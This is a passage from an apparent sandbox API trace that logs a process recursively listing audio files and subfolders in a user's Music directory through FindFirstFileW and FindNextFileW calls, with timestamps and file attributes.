lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b8ddc0, ftCreationTime.dwHighDateTime=0x1d9b069, ftLastAccessTime.dwLowDateTime=0xe98a6cb0, ftLastAccessTime.dwHighDateTime=0x1d9b529, ftLastWriteTime.dwLowDateTime=0xe98a6cb0, ftLastWriteTime.dwHighDateTime=0x1d9b529, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1yjD", cAlternateFileName="")) returned 1 [0213.926] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf66440, ftCreationTime.dwHighDateTime=0x1d9a719, ftLastAccessTime.dwLowDateTime=0x944e0aa0, ftLastAccessTime.dwHighDateTime=0x1d9b348, ftLastWriteTime.dwLowDateTime=0x944e0aa0, ftLastWriteTime.dwHighDateTime=0x1d9b348, nFileSizeHigh=0x0, nFileSizeLow=0x114c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="4_yj77IXoy8N.mp3", cAlternateFileName="4_YJ77~1.MP3")) returned 1 [0213.926] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d3e1400, ftCreationTime.dwHighDateTime=0x1d9b2e1, ftLastAccessTime.dwLowDateTime=0xbb24eb50, ftLastAccessTime.dwHighDateTime=0x1d9b31e, ftLastWriteTime.dwLowDateTime=0xbb24eb50, ftLastWriteTime.dwHighDateTime=0x1d9b31e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5RrDV", cAlternateFileName="")) returned 1 [0213.926] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cdcd50, ftCreationTime.dwHighDateTime=0x1d9a5fa, ftLastAccessTime.dwLowDateTime=0x3fa10c20, ftLastAccessTime.dwHighDateTime=0x1d9a7f7, ftLastWriteTime.dwLowDateTime=0x3fa10c20, ftLastWriteTime.dwHighDateTime=0x1d9a7f7, nFileSizeHigh=0x0, nFileSizeLow=0xcacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA3EicaMnlvAv8WB4Lw.wav", cAlternateFileName="EA3EIC~1.WAV")) returned 1 [0213.926] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e08bb0, ftCreationTime.dwHighDateTime=0x1d9af95, ftLastAccessTime.dwLowDateTime=0xe2dbbf60, ftLastAccessTime.dwHighDateTime=0x1d9b32e, ftLastWriteTime.dwLowDateTime=0xe2dbbf60, ftLastWriteTime.dwHighDateTime=0x1d9b32e, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gn1rEH0XvUvqxTPAm.mp3", cAlternateFileName="GN1REH~1.MP3")) returned 1 [0213.926] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d10c5f0, ftCreationTime.dwHighDateTime=0x1d9aaf2, ftLastAccessTime.dwLowDateTime=0x4e865310, ftLastAccessTime.dwHighDateTime=0x1d9afce, ftLastWriteTime.dwLowDateTime=0x4e865310, ftLastWriteTime.dwHighDateTime=0x1d9afce, nFileSizeHigh=0x0, nFileSizeLow=0x15af, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdUaeObClMpyDVzpg.m4a", cAlternateFileName="IDUAEO~1.M4A")) returned 1 [0213.927] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4238d6f0, ftCreationTime.dwHighDateTime=0x1d9a5e7, ftLastAccessTime.dwLowDateTime=0x62622db0, ftLastAccessTime.dwHighDateTime=0x1d9a8a2, ftLastWriteTime.dwLowDateTime=0x62622db0, ftLastWriteTime.dwHighDateTime=0x1d9a8a2, nFileSizeHigh=0x0, nFileSizeLow=0x10cc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="mPMmVpsOQLsSaE.m4a", cAlternateFileName="MPMMVP~1.M4A")) returned 1 [0213.927] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb7adb0, ftCreationTime.dwHighDateTime=0x1d9a65b, ftLastAccessTime.dwLowDateTime=0x38c4deb0, ftLastAccessTime.dwHighDateTime=0x1d9b3bc, ftLastWriteTime.dwLowDateTime=0x38c4deb0, ftLastWriteTime.dwHighDateTime=0x1d9b3bc, nFileSizeHigh=0x0, nFileSizeLow=0x7492, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGJmMf2g09cZWrP.m4a", cAlternateFileName="VGJMMF~1.M4A")) returned 1 [0213.927] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1pcsv_r", cAlternateFileName="")) returned 1 [0213.927] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1pcsv_r", cAlternateFileName="")) returned 0 [0213.927] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.927] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df", lpFilePart=0x0) returned 0x2a [0213.928] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedc06970, ftCreationTime.dwHighDateTime=0x1d9a72c, ftLastAccessTime.dwLowDateTime=0x652bef40, ftLastAccessTime.dwHighDateTime=0x1d9b0a9, ftLastWriteTime.dwLowDateTime=0x652bef40, ftLastWriteTime.dwHighDateTime=0x1d9b0a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.928] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedc06970, ftCreationTime.dwHighDateTime=0x1d9a72c, ftLastAccessTime.dwLowDateTime=0x652bef40, ftLastAccessTime.dwHighDateTime=0x1d9b0a9, ftLastWriteTime.dwLowDateTime=0x652bef40, ftLastWriteTime.dwHighDateTime=0x1d9b0a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.928] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b8ddc0, ftCreationTime.dwHighDateTime=0x1d9b069, ftLastAccessTime.dwLowDateTime=0xe98a6cb0, ftLastAccessTime.dwHighDateTime=0x1d9b529, ftLastWriteTime.dwLowDateTime=0xe98a6cb0, ftLastWriteTime.dwHighDateTime=0x1d9b529, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1yjD", cAlternateFileName="")) returned 1 [0213.928] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf66440, ftCreationTime.dwHighDateTime=0x1d9a719, ftLastAccessTime.dwLowDateTime=0x944e0aa0, ftLastAccessTime.dwHighDateTime=0x1d9b348, ftLastWriteTime.dwLowDateTime=0x944e0aa0, ftLastWriteTime.dwHighDateTime=0x1d9b348, nFileSizeHigh=0x0, nFileSizeLow=0x114c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="4_yj77IXoy8N.mp3", cAlternateFileName="4_YJ77~1.MP3")) returned 1 [0213.928] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d3e1400, ftCreationTime.dwHighDateTime=0x1d9b2e1, ftLastAccessTime.dwLowDateTime=0xbb24eb50, ftLastAccessTime.dwHighDateTime=0x1d9b31e, ftLastWriteTime.dwLowDateTime=0xbb24eb50, ftLastWriteTime.dwHighDateTime=0x1d9b31e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5RrDV", cAlternateFileName="")) returned 1 [0213.929] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cdcd50, ftCreationTime.dwHighDateTime=0x1d9a5fa, ftLastAccessTime.dwLowDateTime=0x3fa10c20, ftLastAccessTime.dwHighDateTime=0x1d9a7f7, ftLastWriteTime.dwLowDateTime=0x3fa10c20, ftLastWriteTime.dwHighDateTime=0x1d9a7f7, nFileSizeHigh=0x0, nFileSizeLow=0xcacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA3EicaMnlvAv8WB4Lw.wav", cAlternateFileName="EA3EIC~1.WAV")) returned 1 [0213.929] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e08bb0, ftCreationTime.dwHighDateTime=0x1d9af95, ftLastAccessTime.dwLowDateTime=0xe2dbbf60, ftLastAccessTime.dwHighDateTime=0x1d9b32e, ftLastWriteTime.dwLowDateTime=0xe2dbbf60, ftLastWriteTime.dwHighDateTime=0x1d9b32e, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gn1rEH0XvUvqxTPAm.mp3", cAlternateFileName="GN1REH~1.MP3")) returned 1 [0213.929] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d10c5f0, ftCreationTime.dwHighDateTime=0x1d9aaf2, ftLastAccessTime.dwLowDateTime=0x4e865310, ftLastAccessTime.dwHighDateTime=0x1d9afce, ftLastWriteTime.dwLowDateTime=0x4e865310, ftLastWriteTime.dwHighDateTime=0x1d9afce, nFileSizeHigh=0x0, nFileSizeLow=0x15af, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdUaeObClMpyDVzpg.m4a", cAlternateFileName="IDUAEO~1.M4A")) returned 1 [0213.929] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4238d6f0, ftCreationTime.dwHighDateTime=0x1d9a5e7, ftLastAccessTime.dwLowDateTime=0x62622db0, ftLastAccessTime.dwHighDateTime=0x1d9a8a2, ftLastWriteTime.dwLowDateTime=0x62622db0, ftLastWriteTime.dwHighDateTime=0x1d9a8a2, nFileSizeHigh=0x0, nFileSizeLow=0x10cc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="mPMmVpsOQLsSaE.m4a", cAlternateFileName="MPMMVP~1.M4A")) returned 1 [0213.929] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb7adb0, ftCreationTime.dwHighDateTime=0x1d9a65b, ftLastAccessTime.dwLowDateTime=0x38c4deb0, ftLastAccessTime.dwHighDateTime=0x1d9b3bc, ftLastWriteTime.dwLowDateTime=0x38c4deb0, ftLastWriteTime.dwHighDateTime=0x1d9b3bc, nFileSizeHigh=0x0, nFileSizeLow=0x7492, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGJmMf2g09cZWrP.m4a", cAlternateFileName="VGJMMF~1.M4A")) returned 1 [0213.930] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1pcsv_r", cAlternateFileName="")) returned 1 [0213.930] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.930] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0213.930] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD", lpFilePart=0x0) returned 0x2f [0213.930] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b8ddc0, ftCreationTime.dwHighDateTime=0x1d9b069, ftLastAccessTime.dwLowDateTime=0xe98a6cb0, ftLastAccessTime.dwHighDateTime=0x1d9b529, ftLastWriteTime.dwLowDateTime=0xe98a6cb0, ftLastWriteTime.dwHighDateTime=0x1d9b529, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.931] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b8ddc0, ftCreationTime.dwHighDateTime=0x1d9b069, ftLastAccessTime.dwLowDateTime=0xe98a6cb0, ftLastAccessTime.dwHighDateTime=0x1d9b529, ftLastWriteTime.dwLowDateTime=0xe98a6cb0, ftLastWriteTime.dwHighDateTime=0x1d9b529, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.931] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d2f130, ftCreationTime.dwHighDateTime=0x1d9abf7, ftLastAccessTime.dwLowDateTime=0x7efb1750, ftLastAccessTime.dwHighDateTime=0x1d9af66, ftLastWriteTime.dwLowDateTime=0x7efb1750, ftLastWriteTime.dwHighDateTime=0x1d9af66, nFileSizeHigh=0x0, nFileSizeLow=0xf033, dwReserved0=0x0, dwReserved1=0x0, cFileName="0QJag3fISZEmgY.wav", cAlternateFileName="0QJAG3~1.WAV")) returned 1 [0213.931] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f69b50, ftCreationTime.dwHighDateTime=0x1d9ae2c, ftLastAccessTime.dwLowDateTime=0xe6818aa0, ftLastAccessTime.dwHighDateTime=0x1d9af64, ftLastWriteTime.dwLowDateTime=0xe6818aa0, ftLastWriteTime.dwHighDateTime=0x1d9af64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Q5TJkz", cAlternateFileName="")) returned 1 [0213.931] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b48e40, ftCreationTime.dwHighDateTime=0x1d9b22f, ftLastAccessTime.dwLowDateTime=0xfddf85b0, ftLastAccessTime.dwHighDateTime=0x1d9b4f2, ftLastWriteTime.dwLowDateTime=0xfddf85b0, ftLastWriteTime.dwHighDateTime=0x1d9b4f2, nFileSizeHigh=0x0, nFileSizeLow=0xec5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="E75 mrB7eWeFS.m4a", cAlternateFileName="E75MRB~1.M4A")) returned 1 [0213.931] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fdff0, ftCreationTime.dwHighDateTime=0x1d9b1d0, ftLastAccessTime.dwLowDateTime=0xa33671e0, ftLastAccessTime.dwHighDateTime=0x1d9b237, ftLastWriteTime.dwLowDateTime=0xa33671e0, ftLastWriteTime.dwHighDateTime=0x1d9b237, nFileSizeHigh=0x0, nFileSizeLow=0x18426, dwReserved0=0x0, dwReserved1=0x0, cFileName="gKEQ WUbZlQ_SGfGI9.m4a", cAlternateFileName="GKEQWU~1.M4A")) returned 1 [0213.932] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d60e2d0, ftCreationTime.dwHighDateTime=0x1d9a9ae, ftLastAccessTime.dwLowDateTime=0xa7122590, ftLastAccessTime.dwHighDateTime=0x1d9abcd, ftLastWriteTime.dwLowDateTime=0xa7122590, ftLastWriteTime.dwHighDateTime=0x1d9abcd, nFileSizeHigh=0x0, nFileSizeLow=0xeb38, dwReserved0=0x0, dwReserved1=0x0, cFileName="kQMsVZ1QcumQdS1vJ6k1.m4a", cAlternateFileName="KQMSVZ~1.M4A")) returned 1 [0213.932] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf460670, ftCreationTime.dwHighDateTime=0x1d9afb5, ftLastAccessTime.dwLowDateTime=0xb36596d0, ftLastAccessTime.dwHighDateTime=0x1d9b490, ftLastWriteTime.dwLowDateTime=0xb36596d0, ftLastWriteTime.dwHighDateTime=0x1d9b490, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RXkS", cAlternateFileName="")) returned 1 [0213.932] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4b58d20, ftCreationTime.dwHighDateTime=0x1d9ac92, ftLastAccessTime.dwLowDateTime=0x6d803500, ftLastAccessTime.dwHighDateTime=0x1d9b0dd, ftLastWriteTime.dwLowDateTime=0x6d803500, ftLastWriteTime.dwHighDateTime=0x1d9b0dd, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="SRQRl5hn1u.m4a", cAlternateFileName="SRQRL5~1.M4A")) returned 1 [0213.932] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1349b960, ftCreationTime.dwHighDateTime=0x1d9a630, ftLastAccessTime.dwLowDateTime=0xea2e5770, ftLastAccessTime.dwHighDateTime=0x1d9aaad, ftLastWriteTime.dwLowDateTime=0xea2e5770, ftLastWriteTime.dwHighDateTime=0x1d9aaad, nFileSizeHigh=0x0, nFileSizeLow=0x18596, dwReserved0=0x0, dwReserved1=0x0, cFileName="tEx iJVXCQP.wav", cAlternateFileName="TEXIJV~1.WAV")) returned 1 [0213.932] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x549ef020, ftCreationTime.dwHighDateTime=0x1d9b043, ftLastAccessTime.dwLowDateTime=0x590a5980, ftLastAccessTime.dwHighDateTime=0x1d9b154, ftLastWriteTime.dwLowDateTime=0x590a5980, ftLastWriteTime.dwHighDateTime=0x1d9b154, nFileSizeHigh=0x0, nFileSizeLow=0x1539, dwReserved0=0x0, dwReserved1=0x0, cFileName="UHO2EKoP4vONxHahp.mp3", cAlternateFileName="UHO2EK~1.MP3")) returned 1 [0213.932] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.933] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0213.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0213.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0213.933] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD", lpFilePart=0x0) returned 0x2f [0213.933] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\1yjD\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\1yjd\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b8ddc0, ftCreationTime.dwHighDateTime=0x1d9b069, ftLastAccessTime.dwLowDateTime=0xe98a6cb0, ftLastAccessTime.dwHighDateTime=0x1d9b529, ftLastWriteTime.dwLowDateTime=0xe98a6cb0, ftLastWriteTime.dwHighDateTime=0x1d9b529, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.933] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b8ddc0, ftCreationTime.dwHighDateTime=0x1d9b069, ftLastAccessTime.dwLowDateTime=0xe98a6cb0, ftLastAccessTime.dwHighDateTime=0x1d9b529, ftLastWriteTime.dwLowDateTime=0xe98a6cb0, ftLastWriteTime.dwHighDateTime=0x1d9b529, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.933] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d2f130, ftCreationTime.dwHighDateTime=0x1d9abf7, ftLastAccessTime.dwLowDateTime=0x7efb1750, ftLastAccessTime.dwHighDateTime=0x1d9af66, ftLastWriteTime.dwLowDateTime=0x7efb1750, ftLastWriteTime.dwHighDateTime=0x1d9af66, nFileSizeHigh=0x0, nFileSizeLow=0xf033, dwReserved0=0x0, dwReserved1=0x0, cFileName="0QJag3fISZEmgY.wav", cAlternateFileName="0QJAG3~1.WAV")) returned 1 [0213.933] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f69b50, ftCreationTime.dwHighDateTime=0x1d9ae2c, ftLastAccessTime.dwLowDateTime=0xe6818aa0, ftLastAccessTime.dwHighDateTime=0x1d9af64, ftLastWriteTime.dwLowDateTime=0xe6818aa0, ftLastWriteTime.dwHighDateTime=0x1d9af64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Q5TJkz", cAlternateFileName="")) returned 1 [0213.934] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b48e40, ftCreationTime.dwHighDateTime=0x1d9b22f, ftLastAccessTime.dwLowDateTime=0xfddf85b0, ftLastAccessTime.dwHighDateTime=0x1d9b4f2, ftLastWriteTime.dwLowDateTime=0xfddf85b0, ftLastWriteTime.dwHighDateTime=0x1d9b4f2, nFileSizeHigh=0x0, nFileSizeLow=0xec5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="E75 mrB7eWeFS.m4a", cAlternateFileName="E75MRB~1.M4A")) returned 1 [0213.934] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fdff0, ftCreationTime.dwHighDateTime=0x1d9b1d0, ftLastAccessTime.dwLowDateTime=0xa33671e0, ftLastAccessTime.dwHighDateTime=0x1d9b237, ftLastWriteTime.dwLowDateTime=0xa33671e0, ftLastWriteTime.dwHighDateTime=0x1d9b237, nFileSizeHigh=0x0, nFileSizeLow=0x18426, dwReserved0=0x0, dwReserved1=0x0, cFileName="gKEQ WUbZlQ_SGfGI9.m4a", cAlternateFileName="GKEQWU~1.M4A")) returned 1 [0213.934] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d60e2d0, ftCreationTime.dwHighDateTime=0x1d9a9ae, ftLastAccessTime.dwLowDateTime=0xa7122590, ftLastAccessTime.dwHighDateTime=0x1d9abcd, ftLastWriteTime.dwLowDateTime=0xa7122590, 